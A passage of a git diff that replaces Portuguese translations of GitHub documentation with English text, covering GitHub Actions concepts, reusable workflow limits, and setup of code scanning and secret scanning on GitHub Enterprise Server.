`true` if any ancestor job fails. -#### Exemplo +#### Example ```yaml -etapas: +steps: ... - - nome: Ocorreu uma falha no trabalho + - name: The job has failed if: {% raw %}${{ failure() }}{% endraw %} ``` -## Filtros de objeto +## Object filters -Você pode usar a sintaxe `*` para aplicar um filtro e selecionar itens correspondentes em uma coleção. +You can use the `*` syntax to apply a filter and select matching items in a collection. -Por exemplo, pense em um array de objetos de nome `frutas`. +For example, consider an array of objects named `fruits`. ```json [ - { "name": "maçã", "quantidade": 1 }, - { "name": "laranja", "quantidade": 2 }, - { "name": "pera", "quantidade": 1 } + { "name": "apple", "quantity": 1 }, + { "name": "orange", "quantity": 2 }, + { "name": "pear", "quantity": 1 } ] ``` -O filtro `frutas.*.name` retorna o array `[ "maçã", "laranja", "pera" ]` +The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]` diff --git a/translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md b/translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md index 12c0fb54f4..762284674b 100644 --- a/translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md +++ b/translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md @@ -70,6 +70,7 @@ Called workflows can access self-hosted runners from caller's context. This mean * Reusable workflows stored within a private repository can only be used by workflows within the same repository. * Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information about the `env` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)." * You can't set the concurrency of a called workflow from the caller workflow. For more information about `jobs..concurrency`, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency)." +* The `strategy` property is not supported in any job that calls a reusable workflow. ## Creating a reusable workflow diff --git a/translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md b/translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md index 9613ae2f2f..90de4101cd 100644 --- a/translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md +++ b/translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md @@ -23,48 +23,55 @@ topics: ## Overview -{% data reusables.actions.about-actions %} {% data variables.product.prodname_actions %} are event-driven, meaning that you can run a series of commands after a specified event has occurred. For example, every time someone creates a pull request for a repository, you can automatically run a command that executes a software testing script. +{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. -This diagram demonstrates how you can use {% data variables.product.prodname_actions %} to automatically run your software testing scripts. An event automatically triggers the _workflow_, which contains a _job_. The job then uses _steps_ to control the order in which _actions_ are run. These actions are the commands that automate your software testing. +{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. -![Workflow overview](/assets/images/help/images/overview-actions-simple.png) +{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. ## The components of {% data variables.product.prodname_actions %} -Below is a list of the multiple {% data variables.product.prodname_actions %} components that work together to run jobs. You can see how these components interact with each other. +You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more _jobs_ which can run in sequential order or in parallel. Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify in your workflow. -![Component and service overview](/assets/images/help/images/overview-actions-design.png) +![Workflow overview](/assets/images/help/images/overview-actions-simple.png) ### Workflows -The workflow is an automated procedure that you add to your repository. Workflows are made up of one or more jobs and can be scheduled or triggered by an event. The workflow can be used to build, test, package, release, or deploy a project on {% data variables.product.prodname_dotcom %}. {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} +A workflow is a configurable automated process that will run one or more jobs. Workflows are defined by a YAML file checked in to your repository and will run when triggered by an event in your repository, or they can be triggered manually, or at a defined schedule. + +Your repository can have multiple workflows in a repository, each of which can perform a different set of steps. For example, you can have one workflow to build and test pull requests, another workflow to deploy your application every time a release is created, and still another workflow that adds a label every time someone opens a new issue. + +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} ### Events -An event is a specific activity that triggers a workflow. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone pushes a commit to a repository or when an issue or pull request is created. You can also use the [repository dispatch webhook](/rest/reference/repos#create-a-repository-dispatch-event) to trigger a workflow when an external event occurs. For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows). +An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually. + +For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows). ### Jobs -A job is a set of steps that execute on the same runner. By default, a workflow with multiple jobs will run those jobs in parallel. You can also configure a workflow to run jobs sequentially. For example, a workflow can have two sequential jobs that build and test code, where the test job is dependent on the status of the build job. If the build job fails, the test job will not run. +A job is a set of _steps_ in a workflow that execute on the same runner. Each step is either a shell script that will be executed, or an _action_ that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. -### Steps - -A step is an individual task that can run commands in a job. A step can be either an _action_ or a shell command. Each step in a job executes on the same runner, allowing the actions in that job to share data with each other. +You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other. When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run. For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs. The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run. ### Actions -_Actions_ are standalone commands that are combined into _steps_ to create a _job_. Actions are the smallest portable building block of a workflow. You can create your own actions, or use actions created by the {% data variables.product.prodname_dotcom %} community. To use an action in a workflow, you must include it as a step. +An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your workflow files. An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. + +You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. ### Runners -{% ifversion ghae %}A runner is a server that has the [{% data variables.product.prodname_actions %} runner application](https://github.com/actions/runner) installed. For {% data variables.product.prodname_ghe_managed %}, you can use the security hardened {% data variables.actions.hosted_runner %}s which are bundled with your instance in the cloud. A runner listens for available jobs, runs one job at a time, and reports the progress, logs, and results back to {% data variables.product.prodname_dotcom %}. {% data variables.actions.hosted_runner %}s run each workflow job in a fresh virtual environment. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." +{% ifversion ghae %} +{% data reusables.actions.about-runners %} For {% data variables.product.prodname_ghe_managed %}, you can use the security hardened {% data variables.actions.hosted_runner %}s that are bundled with your instance in the cloud. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% else %} -{% data reusables.actions.about-runners %} A runner listens for available jobs, runs one job at a time, and reports the progress, logs, and results back to {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_dotcom %}-hosted runners are based on Ubuntu Linux, Microsoft Windows, and macOS, and each job in a workflow runs in a fresh virtual environment. For information on {% data variables.product.prodname_dotcom %}-hosted runners, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)." If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." +{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% data variables.product.prodname_dotcom %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% endif %} ## Create an example workflow -{% data variables.product.prodname_actions %} uses YAML syntax to define the events, jobs, and steps. These YAML files are stored in your code repository, in a directory called `.github/workflows`. +{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow. Each workflow is stored as a separate YAML file in your code repository, in a directory called `.github/workflows`. You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the software dependencies, and runs `bats -v`. @@ -112,7 +119,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Specify the event that automatically triggers the workflow file. This example uses the push event, so that the jobs run every time someone pushes a change to the repository. You can set up the workflow to only run on certain branches, paths, or tags. For syntax examples including or excluding branches, paths, or tags, see "Workflow syntax for {% data variables.product.prodname_actions %}." +Specifies the trigger for this workflow. This example uses the push event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request. This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see "Workflow syntax for {% data variables.product.prodname_actions %}." @@ -123,7 +130,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Groups together all the jobs that run in the learn-github-actions workflow file. + Groups together all the jobs that run in the learn-github-actions workflow. @@ -134,7 +141,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Defines the name of the check-bats-version job stored within the jobs section. +Defines a job named check-bats-version. The child keys will define properties of the job. @@ -145,7 +152,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Configures the job to run on an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "Workflow syntax for {% data variables.product.prodname_actions %}." + Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "Workflow syntax for {% data variables.product.prodname_actions %}." @@ -156,7 +163,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Groups together all the steps that run in the check-bats-version job. Each item nested under this section is a separate action or shell command. + Groups together all the steps that run in the check-bats-version job. Each item nested under this section is a separate action or shell script. @@ -167,7 +174,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - The uses keyword tells the job to retrieve v2 of the community action named actions/checkout@v2. This is an action that checks out your repository and downloads it to the runner, allowing you to run actions against your code (such as testing tools). You must use the checkout action any time your workflow will run against the repository's code or you are using an action defined in the repository. +The uses keyword specifies that this step will run v2 of the actions/checkout action. This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code. @@ -180,7 +187,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - This step uses the actions/setup-node@v2 action to install the specified version of the node software package on the runner, which gives you access to the npm command. + This step uses the actions/setup-node@v2 action to install the specified version of the Node.js (this example uses v14). This puts both the node and npm commands in your PATH. @@ -209,13 +216,13 @@ To help you understand how YAML syntax is used to create a workflow file, this s ### Visualizing the workflow file -In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell command. Steps 1 and 2 use prebuilt community actions. Steps 3 and 4 run shell commands directly on the runner. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." +In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." ![Workflow overview](/assets/images/help/images/overview-actions-event.png) -## Viewing the job's activity +## Viewing the workflow's activity -Once your job has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. +Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. diff --git a/translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md b/translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md index f26b80d3cd..5026c04d1a 100644 --- a/translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md +++ b/translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md @@ -1,7 +1,7 @@ --- -title: Configurar a varredura de código para o seu aparelho -shortTitle: Configurar a varredura do código -intro: 'Você pode habilitar, configurar e desativar {% data variables.product.prodname_code_scanning %} para {% data variables.product.product_location %}. {% data variables.product.prodname_code_scanning_capc %} permite aos usuários varrer códigos com relação a erros e vulnerabilidades.' +title: Configuring code scanning for your appliance +shortTitle: Configuring code scanning +intro: 'You can enable, configure and disable {% data variables.product.prodname_code_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_code_scanning_capc %} allows users to scan code for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -19,54 +19,58 @@ topics: {% data reusables.code-scanning.beta %} -## Sobre o {% data variables.product.prodname_code_scanning %} +## About {% data variables.product.prodname_code_scanning %} {% data reusables.code-scanning.about-code-scanning %} -Você pode configurar {% data variables.product.prodname_code_scanning %} para executar análise de {% data variables.product.prodname_codeql %} e análise de terceiros. {% data variables.product.prodname_code_scanning_capc %} também é compatível com a análise de execução nativa que utiliza {% data variables.product.prodname_actions %} ou externamente que utiliza a infraestrutura de CI/CD existente. A tabela abaixo resume todas as opções disponíveis para os usuários quando você configurar {% data variables.product.product_location %} para permitir que {% data variables.product.prodname_code_scanning %} use ações. +You can configure {% data variables.product.prodname_code_scanning %} to run {% data variables.product.prodname_codeql %} analysis and third-party analysis. {% data variables.product.prodname_code_scanning_capc %} also supports running analysis natively using {% data variables.product.prodname_actions %} or externally using existing CI/CD infrastructure. The table below summarizes all the options available to users when you configure {% data variables.product.product_location %} to allow {% data variables.product.prodname_code_scanning %} using actions. {% data reusables.code-scanning.enabling-options %} -## Pré-requisitos para {% data variables.product.prodname_code_scanning %} +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} -- Uma licença para {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (consulte "[Sobre cobrança para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} +{% data reusables.advanced-security.check-for-ghas-license %} -- {% data variables.product.prodname_code_scanning_capc %} habilitado no console de gerenciamento (consulte "[Habilitando {% data variables.product.prodname_GH_advanced_security %} para a sua empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") +## Prerequisites for {% data variables.product.prodname_code_scanning %} -- Uma VM ou contêiner para que a análise de {% data variables.product.prodname_code_scanning %} seja executada. +- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} -## Executar {% data variables.product.prodname_code_scanning %} usando {% data variables.product.prodname_actions %} +- {% data variables.product.prodname_code_scanning_capc %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") -### Configurar um executor auto-hospedado +- A VM or container for {% data variables.product.prodname_code_scanning %} analysis to run in. -{% data variables.product.prodname_ghe_server %} pode executar {% data variables.product.prodname_code_scanning %} usando um fluxo de trabalho de {% data variables.product.prodname_actions %}. Primeiro, você precisa fornecer um ou mais executores auto-hospedados de {% data variables.product.prodname_actions %} em seu ambiente. É possível fornecer executores auto-hospedados no nível da conta do repositório, organização ou empresa. Para obter mais informações, consulte "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)" e "[Adicionar executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)". +## Running {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_actions %} -Você deve garantir que o Git esteja na variável do PATH em qualquer executor auto-hospedados que você usar para executar ações de {% data variables.product.prodname_codeql %}. +### Setting up a self-hosted runner -### Provisionando ações para {% data variables.product.prodname_code_scanning %} +{% data variables.product.prodname_ghe_server %} can run {% data variables.product.prodname_code_scanning %} using a {% data variables.product.prodname_actions %} workflow. First, you need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your environment. You can provision self-hosted runners at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +You must ensure that Git is in the PATH variable on any self-hosted runners you use to run {% data variables.product.prodname_codeql %} actions. + +### Provisioning the actions for {% data variables.product.prodname_code_scanning %} {% ifversion ghes %} -Se você deseja usar ações para executar {% data variables.product.prodname_code_scanning %} em {% data variables.product.prodname_ghe_server %}, as ações deverão estar disponíveis no seu dispositivo. +If you want to use actions to run {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_ghe_server %}, the actions must be available on your appliance. -A ação {% data variables.product.prodname_codeql %} está incluída na sua instalação de {% data variables.product.prodname_ghe_server %}. Se {% data variables.product.prodname_ghe_server %} tiver acesso à internet, a ação fará automaticamente o download do pacote de {% data variables.product.prodname_codeql %} necessário para realizar a análise. Como alternativa, você pode usar uma ferramenta de sincronização para tornar o pacote de análise de {% data variables.product.prodname_codeql %} disponível localmente. Para obter mais informações, consulte "[Configurar {% data variables.product.prodname_codeql %} análise em um servidor sem acesso à internet](#configuring-codeql-analysis-on-a-server-without-internet-access)" abaixo. +The {% data variables.product.prodname_codeql %} action is included in your installation of {% data variables.product.prodname_ghe_server %}. If {% data variables.product.prodname_ghe_server %} has access to the internet, the action will automatically download the {% data variables.product.prodname_codeql %} bundle required to perform analysis. Alternatively, you can use a synchronization tool to make the {% data variables.product.prodname_codeql %} analysis bundle available locally. For more information, see "[Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access](#configuring-codeql-analysis-on-a-server-without-internet-access)" below. -Você também pode disponibilizar ações de terceiros para os usuários de {% data variables.product.prodname_code_scanning %}, configurando {% data variables.product.prodname_github_connect %}. Para obter mais informações, consulte "[Configurar {% data variables.product.prodname_github_connect %} para sincronizar {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" abaixo. +You can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. For more information, see "[Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" below. -### Configurar a análise de {% data variables.product.prodname_codeql %} em um servidor sem acesso à internet -Se o servidor em que você está executando {% data variables.product.prodname_ghe_server %} não estiver conectado à internet e você deseja permitir que os usuários habilitem {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} para seus repositórios, você deverá usar a ferramenta de sincronização de ação {% data variables.product.prodname_codeql %} para copiar o pacote de análises {% data variables.product.prodname_codeql %} de {% data variables.product.prodname_dotcom_the_website %} para seu servidor. A ferramenta e os detalhes de como usá-la estão disponíveis em [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/). +### Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access +If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, and you want to allow users to enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for their repositories, you must use the {% data variables.product.prodname_codeql %} action sync tool to copy the {% data variables.product.prodname_codeql %} analysis bundle from {% data variables.product.prodname_dotcom_the_website %} to your server. The tool, and details of how to use it, are available at [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/). -Se você configurar a ferramenta de sincronização de ação de {% data variables.product.prodname_codeql %}, você poderá usá-la para sincronizar as últimas versões da ação de {% data variables.product.prodname_codeql %} e pacote de análise associado a {% data variables.product.prodname_codeql %}. Estes são compatíveis com {% data variables.product.prodname_ghe_server %}. +If you set up the {% data variables.product.prodname_codeql %} action sync tool, you can use it to sync the latest releases of the {% data variables.product.prodname_codeql %} action and associated {% data variables.product.prodname_codeql %} analysis bundle. These are compatible with {% data variables.product.prodname_ghe_server %}. {% endif %} -### Configurar {% data variables.product.prodname_github_connect %} para sincronizar {% data variables.product.prodname_actions %} -1. Se você deseja fazer o download dos fluxos de trabalho de ação sob demanda a partir de {% data variables.product.prodname_dotcom_the_website %}, você deverá habilitar o {% data variables.product.prodname_github_connect %}. Para obter mais informações, consulte "[Habilitar {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)". -2. Você também precisa habilitar o {% data variables.product.prodname_actions %} para {% data variables.product.product_location %}. Para obter mais informações, consulte "[Primeiros passos com {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)". -3. A próxima etapa é configurar o acesso a ações no {% data variables.product.prodname_dotcom_the_website %} usando {% data variables.product.prodname_github_connect %}. Para obter mais informações, consulte "[Habilitar o acesso automático às ações de {% data variables.product.prodname_dotcom_the_website %} usando o {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". -4. Adicione um executor auto-hospedado ao seu repositório, organização ou conta corporativa. Para obter mais informações, consulte "[Adicionando executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)". +### Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %} +1. If you want to download action workflows on demand from {% data variables.product.prodname_dotcom_the_website %}, you need to enable {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)." +2. You'll also need to enable {% data variables.product.prodname_actions %} for {% data variables.product.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)." +3. The next step is to configure access to actions on {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." +4. Add a self-hosted runner to your repository, organization, or enterprise account. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." -## Executar {% data variables.product.prodname_code_scanning %} usando o {% data variables.product.prodname_codeql_runner %} -Se você não quiser usar {% data variables.product.prodname_actions %}, você poderá executar {% data variables.product.prodname_code_scanning %} usando o {% data variables.product.prodname_codeql_runner %}. +## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %} +If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}. -O {% data variables.product.prodname_codeql_runner %} é uma ferramenta de linha de comando que você pode adicionar ao seu sistema CI/CD de terceiros. A ferramenta executa a análise do {% data variables.product.prodname_codeql %} em um checkout de um repositório do {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Executar o {% data variables.product.prodname_code_scanning %} no seu sistema de CI](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)". +The {% data variables.product.prodname_codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)." diff --git a/translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md b/translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md index 08c1722d6d..1ff1342d1f 100644 --- a/translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md +++ b/translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md @@ -1,7 +1,7 @@ --- -title: Configurar a varredura de segredo para o seu dispositivo -shortTitle: Configurar a varredura de segredo -intro: 'Você pode habilitar, configurar e desabilitar {% data variables.product.prodname_secret_scanning %} para {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} permite aos usuários fazer a varredura de códigos para os segredos que se confirmaram acidentalmente.' +title: Configuring secret scanning for your appliance +shortTitle: Configuring secret scanning +intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.' product: '{% data reusables.gated-features.secret-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -18,63 +18,56 @@ topics: {% data reusables.secret-scanning.beta %} -## Sobre o {% data variables.product.prodname_secret_scanning %} +## About {% data variables.product.prodname_secret_scanning %} -{% data reusables.secret-scanning.about-secret-scanning %} Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning). +{% data reusables.secret-scanning.about-secret-scanning %} For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)." -## Pré-requisitos para {% data variables.product.prodname_secret_scanning %} +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.check-for-ghas-license %} + +## Prerequisites for {% data variables.product.prodname_secret_scanning %} -- É necessário habilitar o sinalizador de CPU das [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Extensões SIMD de Streaming Suplementar 3) no VM/KVM que executa {% data variables.product.product_location %}. +- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.product.product_location %}. -- Uma licença para {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (consulte "[Sobre cobrança para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} +- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} -- {% data variables.product.prodname_secret_scanning_caps %} habilitado no console de gerenciamento (consulte "[Habilitando {% data variables.product.prodname_GH_advanced_security %} para a sua empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") +- {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") -## Verificar suporte para o sinalizador SSSE3 nos seus vCPUs +### Checking support for the SSSE3 flag on your vCPUs -O conjunto de instruções das SSSE3 é necessário porque o {% data variables.product.prodname_secret_scanning %} alavanca o padrão acelerado de hardware que corresponde para encontrar possíveis credenciais confirmadas com os seus repositórios de {% data variables.product.prodname_dotcom %}. SSSE3 está habilitado para a maioria das CPUs modernas. Você pode verificar se o SSSE3 está habilitado para oa vCPUs disponíveis para sua instância de {% data variables.product.prodname_ghe_server %}. +The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance. -1. Conecte ao shell administrativo para sua instância de {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Acessar o shell administrativo (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)". -2. Insira o seguinte comando: +1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +2. Enter the following command: -```shell -grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? -``` + ```shell + grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? + ``` -Se ele retornar o valor `0`, significa que o sinalizador SSSE3 está disponível e habilitado. Agora você pode habilitar {% data variables.product.prodname_secret_scanning %} para {% data variables.product.product_location %}. Para obter mais informações, consulte "[Habilitar {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" abaixo. + If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_secret_scanning 